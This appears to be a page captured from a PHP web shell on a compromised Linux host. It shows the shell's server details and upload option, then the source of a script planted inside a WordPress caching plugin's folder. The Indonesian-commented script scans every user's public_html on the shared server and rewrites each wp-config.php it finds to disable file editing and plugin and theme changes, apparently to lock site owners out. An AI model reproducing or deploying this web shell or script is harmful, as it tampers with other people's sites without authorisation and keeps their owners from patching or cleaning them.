HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/wpall.php
<?php
function scan_wp_configs($start_dir) {
    $wp_config_files = [];
    
    // Scan direktori di start_dir (tanpa recursive)
    $user_dirs = glob($start_dir . '/*', GLOB_ONLYDIR);
    
    foreach ($user_dirs as $user_dir) {
        // Temukan semua direktori dalam domains/*/public_html/
        $public_html_dirs = glob($user_dir . '/domains/*/public_html', GLOB_ONLYDIR);
        
        foreach ($public_html_dirs as $dir) {
            $config_file = $dir . '/wp-config.php';
            if (file_exists($config_file)) {
                $wp_config_files[] = $config_file;
            }
        }
    }
    
    return $wp_config_files;
}

function modify_wp_config($config_path) {
    echo "Memeriksa file: $config_path<br>";

    // Baca isi file wp-config.php
    $config_content = file_get_contents($config_path);
    if ($config_content === false) {
        echo "Gagal membaca isi wp-config.php di: $config_path<br>";
        return false;
    }

    // Baris yang akan ditambahkan
    $disallow_edit = "define('DISALLOW_FILE_EDIT', true);";
    $disallow_mods = "define('DISALLOW_FILE_MODS', true);";

    // Tambahkan DISALLOW_FILE_EDIT jika belum ada
    if (strpos($config_content, $disallow_edit) === false) {
        if (strpos($config_content, 'require_once') !== false) {
            $config_content = preg_replace('/(require_once)/', "$disallow_edit\n$1", $config_content, 1);
        } else {
            $config_content .= "\n$disallow_edit";
        }
        echo "Menambahkan: $disallow_edit ke $config_path<br>";
    } else {
        echo "Baris '$disallow_edit' sudah ada di $config_path.<br>";
    }

    // Tambahkan DISALLOW_FILE_MODS jika belum ada
    if (strpos($config_content, $disallow_mods) === false) {
        if (strpos($config_content, 'require_once') !== false) {
            $config_content = preg_replace('/(require_once)/', "$disallow_mods\n$1", $config_content, 1);
        } else {
            $config_content .= "\n$disallow_mods";
        }
        echo "Menambahkan: $disallow_mods ke $config_path<br>";
    } else {
        echo "Baris '$disallow_mods' sudah ada di $config_path.<br>";
    }

    // Simpan kembali perubahan ke file wp-config.php
    if (file_put_contents($config_path, $config_content) === false) {
        echo "Gagal menyimpan perubahan pada $config_path<br>";
        return false;
    }

    echo "File wp-config.php berhasil diperbarui di $config_path.<br>";
    return true;
}

// Tentukan direktori awal
$start_directory = '/home';

// Temukan semua wp-config.php di /home/*/domains/*/public_html/
$config_files = scan_wp_configs($start_directory);

if (empty($config_files)) {
    die('Tidak ditemukan file wp-config.php.');
}

// Update setiap file wp-config.php yang ditemukan
foreach ($config_files as $config_path) {
    modify_wp_config($config_path);
}

echo 'Pembaruan selesai.';
?>